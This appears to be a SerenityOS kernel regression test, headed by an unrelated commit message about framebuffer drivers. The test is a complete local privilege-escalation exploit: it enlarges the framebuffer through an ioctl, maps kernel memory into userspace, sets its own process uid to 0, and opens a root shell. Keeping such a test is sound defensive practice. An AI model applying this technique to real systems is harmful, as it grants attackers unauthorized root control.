ladybird/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
Liav A 8554952690 Kernel + WindowServer: Re-define the interface to framebuffer devices
We create a base class called GenericFramebufferDevice, which defines
all the virtual functions that must be implemented by a
FramebufferDevice. Then, we make the VirtIO FramebufferDevice and other
FramebufferDevice implementations inherit from it.
The most important consequence of rearranging the classes is that we now
have one IOCTL method, so all drivers should be committed to not
override the IOCTL method or make their own IOCTLs of FramebufferDevice.
All graphical IOCTLs are known to all FramebufferDevices, and it's up to
the specific implementation whether to support them or discard them (so
we require extensive usage of KResult and KResultOr, together with
virtual characteristic functions).
As a result, the interface is much cleaner and understandable to read.
2021-10-27 07:57:44 +03:00

106 lines
2.6 KiB
C++

/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
int main()
{
int fd = open("/dev/fb0", O_RDWR);
if (fd < 0) {
perror("open");
return 1;
}
size_t width = 17825;
size_t height = 1000;
size_t pitch = width * 4;
size_t framebuffer_size_in_bytes = pitch * height * 2;
FBHeadProperties original_properties;
original_properties.head_index = 0;
if (ioctl(fd, FB_IOCTL_GET_HEAD_PROPERTIES, &original_properties) < 0) {
perror("ioctl");
return 1;
}
FBHeadResolution resolution;
resolution.head_index = 0;
resolution.width = width;
resolution.height = height;
resolution.pitch = pitch;
if (ioctl(fd, FB_IOCTL_SET_HEAD_RESOLUTION, &resolution) < 0) {
perror("ioctl");
return 1;
}
auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return 1;
}
printf("Success! Evil pointer: %p\n", ptr);
u8* base = &ptr[128 * MiB];
uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
printf("base = %p\n", base);
printf("g_processes = %p\n", (void*)g_processes);
auto get_ptr = [&](uintptr_t value) -> void* {
value -= 0xc0000000;
return (void*)&base[value];
};
struct ProcessList {
uintptr_t head;
uintptr_t tail;
};
struct Process {
// 32 next
// 40 pid
// 44 uid
u8 dummy[32];
uintptr_t next;
u8 dummy2[4];
pid_t pid;
uid_t uid;
};
ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
Process* process = (Process*)get_ptr(process_list->head);
printf("{%p} PID: %d, UID: %d, next: %p\n", process, process->pid, process->uid, (void*)process->next);
if (process->pid == getpid()) {
printf("That's me! Let's become r00t!\n");
process->uid = 0;
}
FBHeadResolution original_resolution;
original_resolution.head_index = 0;
original_resolution.width = original_properties.width;
original_resolution.height = original_properties.height;
original_resolution.pitch = original_properties.pitch;
if (ioctl(fd, FB_IOCTL_SET_HEAD_RESOLUTION, &original_resolution) < 0) {
perror("ioctl");
return 1;
}
execl("/bin/sh", "sh", nullptr);
return 0;
}